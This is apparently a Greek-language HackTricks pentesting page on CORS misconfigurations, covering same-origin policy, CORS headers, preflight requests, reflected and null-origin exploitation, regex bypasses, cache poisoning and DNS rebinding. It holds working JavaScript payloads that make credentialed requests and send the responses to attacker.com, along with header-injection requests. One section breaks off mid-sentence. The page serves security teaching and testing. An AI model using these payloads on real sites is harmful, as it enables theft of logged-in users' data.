CORS - Misconfigurations & Bypass

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
Αποκτήστε το επίσημο PEASS & HackTricks swag
Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.

Τι είναι το CORS;

Το Cross-Origin Resource Sharing (CORS) standard επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους και ποιες μέθοδοι HTTP αιτήσεων επιτρέπονται από εξωτερικές πηγές.

Μια πολιτική ίδιας προέλευσης απαιτεί από ένα διακομιστή που ζητάει έναν πόρο και τον διακομιστή που φιλοξενεί τον πόρο να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., http://), όνομα domain (π.χ., internal-web.com), και θύρα (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.

Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του http://normal-website.com/example/example.html απεικονίζεται ως εξής:

URL που προσπερνάται Επιτρεπτή πρόσβαση;

URL που προσπερνάται	Επιτρεπτή πρόσβαση;
`http://normal-website.com/example/`	Ναι: Ίδιο πρωτόκολλο, domain, και θύρα
`http://normal-website.com/example2/`	Ναι: Ίδιο πρωτόκολλο, domain, και θύρα
`https://normal-website.com/example/`	Όχι: Διαφορετικό πρωτόκολλο και θύρα
`http://en.normal-website.com/example/`	Όχι: Διαφορετικό domain
`http://www.normal-website.com/example/`	Όχι: Διαφορετικό domain
`http://normal-website.com:8080/example/`	Όχι: Διαφορετική θύρα*

http://normal-website.com/example/

Ναι: Ίδιο πρωτόκολλο, domain, και θύρα

http://normal-website.com/example2/

Ναι: Ίδιο πρωτόκολλο, domain, και θύρα

https://normal-website.com/example/

Όχι: Διαφορετικό πρωτόκολλο και θύρα

http://en.normal-website.com/example/

Όχι: Διαφορετικό domain

http://www.normal-website.com/example/

Όχι: Διαφορετικό domain

http://normal-website.com:8080/example/

Όχι: Διαφορετική θύρα*

*Ο Internet Explorer αγνοεί τον αριθμό θύρας στην επιβολή της πολιτικής ίδιας προέλευσης, επιτρέποντας έτσι αυτήν την πρόσβαση.

Κεφαλίδα `Access-Control-Allow-Origin`

Αυτή η κεφαλίδα μπορεί να επιτρέψει πολλαπλές προελεύσεις, μια τιμή null, ή ένα χαρακτήρα μπαλαντέρ *. Ωστόσο, κανένας browser δεν υποστηρίζει πολλαπλές προελεύσεις, και η χρήση του χαρακτήρα μπαλαντέρ * υπόκειται σε περιορισμούς. (Ο χαρακτήρας μπαλαντέρ πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το Access-Control-Allow-Credentials: true δεν επιτρέπεται.)

Αυτή η κεφαλίδα εκδίδεται από ένα διακομιστή σε απάντηση μιας αιτήσεως πόρου από διαφορετικό domain που ξεκινά από μια ιστοσελίδα, με τον browser να προσθέτει αυτόματα μια κεφαλίδα Origin.

Κεφαλίδα `Access-Control-Allow-Credentials`

Από προεπιλογή, οι αιτήσεις διαφορετικής προέλευσης γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διαφορετικής προέλευσης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν διαπιστευτήρια στέλνονται ορίζοντας την κεφαλίδα Access-Control-Allow-Credentials σε true.

Αν οριστεί σε true, ο browser θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης, ή πιστοποιητικά πελάτη TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Προερώτηση προ-πτήσης

Κατανόηση Προερωτημάτων Προ-πτήσης στη Διασυνοριακή Επικοινωνία

Κατά την εκκίνηση μιας διασυνοριακής αίτησης υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας μη-κανονικής μεθόδου HTTP (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων κεφαλίδων, ή η χρήση ενός ειδικού τιμή κεφαλίδας Content-Type, μπορεί να απαιτηθεί μια προ-πτήση. Αυτό το προκαταρκτικό αίτημα, εκμεταλλευόμενο τη μέθοδο OPTIONS, χρησιμεύει για να ενημερώσει τον διακομιστή για τις προθέσεις της επερχόμενης διασυνοριακής αίτησης, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.

Το πρωτόκολλο Cross-Origin Resource Sharing (CORS) επιβάλλει αυτόν τον έλεγχο προ-πτήσης για να καθορίσει την εφικτότητα της αιτούμενης διασυνοριακής λειτουργίας ελέγχοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για ένα αίτημα προ-πτήσης, ανατρέξτε στον πλήρη οδηγό που παρέχεται από το Mozilla Developer Network (MDN).

Είναι σημαντικό να σημειωθεί ότι η απουσία ενός αιτήματος προ-πτήσης δεν αναιρεί την ανάγκη για την απόκριση να περιέχει κεφαλίδες εξουσιοδότησης. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απόκριση από τη διασυνοριακή αίτηση.

Λάβετε υπόψη το παρακάτω σχήμα ενός αιτήματος προ-πτήσης που στοχεύει στη χρήση της μεθόδου PUT μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Ως απάντηση, ο διακομιστής μπορεί να επιστρέψει κεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες πολιτικής CORS, όπως φαίνεται παρακάτω:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Access-Control-Allow-Headers: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Την ορίζει ο διακομιστής για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
Access-Control-Expose-Headers: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με τις κεφαλίδες που μπορούν να εκτίθενται ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
Access-Control-Max-Age: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν τα αποτελέσματα μιας αιτήσεως προεπισκόπησης στην μνήμη cache. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια αίτηση προεπισκόπησης μπορούν να επαναχρησιμοποιηθούν.
Access-Control-Request-Headers: Χρησιμοποιείται σε αιτήσεις προεπισκόπησης, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στην πραγματική αίτηση.
Access-Control-Request-Method: Αυτή η κεφαλίδα, επίσης χρησιμοποιείται σε αιτήσεις προεπισκόπησης, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδο HTTP θα χρησιμοποιηθεί στην πραγματική αίτηση.
Origin: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση της αιτήσεως διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν η εισερχόμενη αίτηση πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.

Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση GET/POST δεν αποστέλλεται αίτηση προεπισκόπησης (η αίτηση αποστέλλεται απευθείας), αλλά αν θέλετε να έχετε πρόσβαση στις κεφαλίδες/σώμα της απόκρισης, πρέπει να περιέχει μια κεφαλίδα Access-Control-Allow-Origin που το επιτρέπει. Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).

Αίτηση προεπισκόπησης τοπικού δικτύου

Access-Control-Request-Local-Network: Αυτή η κεφαλίδα συμπεριλαμβάνεται στην αίτηση του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι η αίτηση προέρχεται από το εσωτερικό του τοπικού δικτύου.
Access-Control-Allow-Local-Network: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες έξω από το τοπικό δίκτυο. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων διασχίζοντας διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας πρωτόκολλα ασφαλείας.

Μια έγκυρη απόκριση που επιτρέπει την αίτηση του τοπικού δικτύου πρέπει επίσης να περιέχει στην απόκριση την κεφαλίδα Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Σημειώστε ότι η διεύθυνση IP 0.0.0.0 του Linux λειτουργεί για να παρακάμψει αυτές τις απαιτήσεις για πρόσβαση στο localhost, καθώς αυτή η διεύθυνση IP δε θεωρείται "τοπική".

Είναι επίσης δυνατό να παρακάμψετε τις απαιτήσεις του Τοπικού Δικτύου αν χρησιμοποιήσετε τη δημόσια διεύθυνση IP ενός τοπικού σημείου (όπως η δημόσια IP του δρομολογητή). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν η δημόσια IP προσπελαύνεται, αν είναι από το τοπικό δίκτυο, η πρόσβαση θα επιτραπεί.

Εκμετάλλευση ευπαθειών στη ρύθμιση

Έχει παρατηρηθεί ότι η ρύθμιση του Access-Control-Allow-Credentials σε true είναι προϋπόθεση για τις περισσότερες πραγματικές επιθέσεις. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στείλει διαπιστευτήρια και να διαβάσει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το πλεονέκτημα του να κάνει κάποιος τον περιηγητή να εκδώσει μια αίτηση αντί να το κάνει μόνος του μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται ανέφικτη.

Εξαίρεση: Εκμετάλλευση της Τοποθεσίας Δικτύου ως Ταυτοποίηση

Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως διακομιστής μεσολάβησης, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιράζεται ομοιότητες στην επίδραση με την αντανάκλαση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.

Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`

Το πραγματικό σενάριο όπου η τιμή της κεφαλίδας Origin αντανακλάται στο Access-Control-Allow-Origin είναι θεωρητικά απίθανο λόγω περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα Access-Control-Allow-Origin αντιγράφοντας την τιμή της κεφαλίδας Origin. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Εκμεταλλευόμενοι την Προέλευση `null`

Η προέλευση null, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Κάποιες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιονδήποτε ιστότοπο να μιμείται μια προέλευση null μέσω ενός iframe σε αμμώδη χώρο, παρακάμπτοντας έτσι τους περιορισμούς CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Τεχνικές Παράκαμψης Κανόνων Κανονικών Εκφράσεων

Όταν αντιμετωπίζετε έναν λευκό κατάλογο τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν λευκό κατάλογο τομέων ή η εκμετάλλευση ευπαθειών στην κατάληξη υποτομέα. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση του τομέα ενδέχεται να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρουσιάζοντας περαιτέρω ευκαιρίες παράκαμψης.

Προηγμένες Παρακάμψεις Κανονικών Εκφράσεων

Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους Safari, Chrome, και Firefox για τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέα.

Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του ελέγχου παράκαμψης: https://www.corben.io/advanced-cors-techniques/ και https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Από XSS μέσα σε υποτομέα

Οι προγραμματιστές συχνά υλοποιούν μηχανισμούς προστασίας για να προστατεύσουν από την εκμετάλλευση CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβροχη. Η παρουσία ακόμα και ενός ευάλωτου υποτομέα μέσα στους λευκούς καταλόγους τομέων μπορεί να ανοίξει την πόρτα στην εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).

Για να δείτε ένα παράδειγμα, σκεφτείτε το σενάριο όπου ένας τομέας, requester.com, είναι στη λευκή λίστα για πρόσβαση σε πόρους από έναν άλλο τομέα, provider.com. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Σε αυτή τη ρύθμιση, όλα τα υποτομεία του requester.com επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέα, όπως το sub.requester.com, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο sub.requester.com θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο provider.com.

Δηλητηρίαση cache στην πλευρά του διακομιστή

Από αυτήν την έρευνα

Είναι δυνατόν με την εκμετάλλευση δηλητηρίασης cache στην πλευρά του διακομιστή μέσω εισαγωγής κεφαλίδων HTTP, να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να αποσυρθεί την κεφαλίδα Origin για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες Internet Explorer και Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.

Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα Origin είναι χειρισμένη:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer και Edge ερμηνεύουν την απάντηση ως:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια διαμορφωμένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το διαμορφωμένο φορτίο στοχεύει στο να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.

Για περισσότερες πληροφορίες σχετικά με ευπάθειες αποθηκευμένου XSS, δείτε PortSwigger.

Σημείωση: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτωσης όλων των εισόδων που παρέχει ο χρήστης, συμπεριλαμβανομένων των κεφαλίδων HTTP. Πάντα χρησιμοποιείτε ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.

Δηλητηρίαση cache στην πλευρά του πελάτη

Από αυτή την έρευνα

Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά το περιεχόμενο ενός προσαρμοσμένου κεφαλίδα HTTP χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά το περιεχόμενο που περιλαμβάνεται σε ένα κεφαλίδα X-User-id, το οποίο θα μπορούσε να περιέχει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου το κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.

Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς την απευθείας απόδοση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν λαμβάνεται υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν το κεφαλίδα Vary: Origin δεν καθορίζεται, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για απευθείας απόδοση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος τη μνήμη cache της πλευράς του πελάτη.

Για να εικονίσουμε αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με ένα προσαρμοσμένο κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στο στόχο URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς τη σωστή χειρισμό του κεφαλιδίου Vary: Origin.

Εδώ παρουσιάζεται μια περιληπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπαθείας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διαφορετικούς τομείς. Αυτή η ευπαθεία επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.

Αυτή η ευπαθεία γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάτι που τα καθιστά προσβάσιμα στον επιτιθέμενο.

Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπαθεία, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο https://github.com/kapytein/jsonp. Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις web εφαρμογές σας.

Διαβάστε περισσότερα σχετικά με τους διαφορετικούς τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.

Δοκιμάστε να προσθέσετε ένα callback παράμετρο στο αίτημα. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτήν την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με Content-Type: application/javascript το οποίο θα παρακάμψει την πολιτική CORS.

Εύκολη (άχρηστη;) παράκαμψη

Ένας τρόπος να παρακάμψετε τον περιορισμό Access-Control-Allow-Origin είναι να ζητήσετε από μια web εφαρμογή να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα σταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.

CORS-escape: Αυτό το εργαλείο παρέχει έναν διαμεσολαβητή που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα πλασάρει την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
simple-cors-escape: Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για τη διαμεσολάβηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.

Μπορείτε να παρακάμψετε τους έλεγχους CORS όπως e.origin === window.origin με το δημιουργία ενός iframe και από αυτό να ανοίξετε ένα νέο παράθυρο. Περισσότερες πληροφορίες στην ακόλουθη σελίδα:

pageIframes in XSS, CSP and SOP

DNS Rebinding μέσω TTL

Η αναδρομή DNS μέσω TTL είναι μια τεχνική που χρησιμοποιείται για την παράκαμψη συγκεκριμένων μέτρων ασφαλείας με τη χειραγώγηση των εγγραφών DNS. Εδώ είναι πώς λειτουργεί:

Ο επιτιθέμενος δημιουργεί μια ιστοσελίδα και κάνει το θύμα να την αποκτήσει πρόσβαση.
Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του τομέα για να δείχνει στην ιστοσελίδα του θύματος.
Ο browser του θύματος κρατά την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδηλώνει πόσο καιρό πρέπει να θεωρείται έγκυρη η εγγραφή DNS.
Όταν λήξει το TTL, ο browser του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
Κρατώντας τον έλεγχο του IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στέλνει cookies στον server του θύματος.

Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς κρυφής που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.

Η αναδρομή DNS μπορεί να είναι χρήσιμη για την παράκαμψη συγκεκριμένων ελέγχων IP που πραγματοποιούνται από το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για μεγάλο χρονικό διάστημα, επιτρέποντας την λήξη της μνήμης cache.

Αν χρειάζεστε έναν γρήγορο τρόπο να καταχράστείτε την αναδρομή DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως https://lock.cmpxchg8b.com/rebinder.html.

Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Αυτό περιλαμβάνει την εκθεση της τοπικής σας θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο A υποτομέα (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί στον δικό σας υπολογιστή.

Μπορείτε επίσης να εξερευνήσετε ένα δημόσια λειτουργούντα διακομιστή στο http://rebind.it/singularity.html για περαιτέρω κατανόηση και πειραματισμό.

Αναδρομή DNS μέσω Πλημάτωσης Κρυφής DNS

Η αναδρομή DNS μέσω πλημάτωσης κρυφής DNS είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυφής των browsers και την ανάγκαση ενός δεύτερου αιτήματος DNS. Εδώ είναι πώς λειτουργεί:

Αρχικά, όταν το θύμα κάνει ένα αίτημα DNS, απαντάται με τη διεύθυνση IP του επιτιθέμενου.
Για να

Άλλες Συνηθισμένες Παρακάμψεις

Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις, μπορεί να έχουν ξεχάσει να απαγορεύσουν το 0.0.0.0 (λειτουργεί σε Linux και Mac)
Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις, απαντήστε με ένα CNAME προς το localhost (λειτουργεί σε Linux και Mac)
Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις ως απαντήσεις DNS, μπορείτε να απαντήσετε με CNAMEs προς εσωτερικές υπηρεσίες όπως το www.corporate.internal.

Όπλοποιημένο DNS Rebidding

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το εργαλείο που ακολουθεί στην ομιλία Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

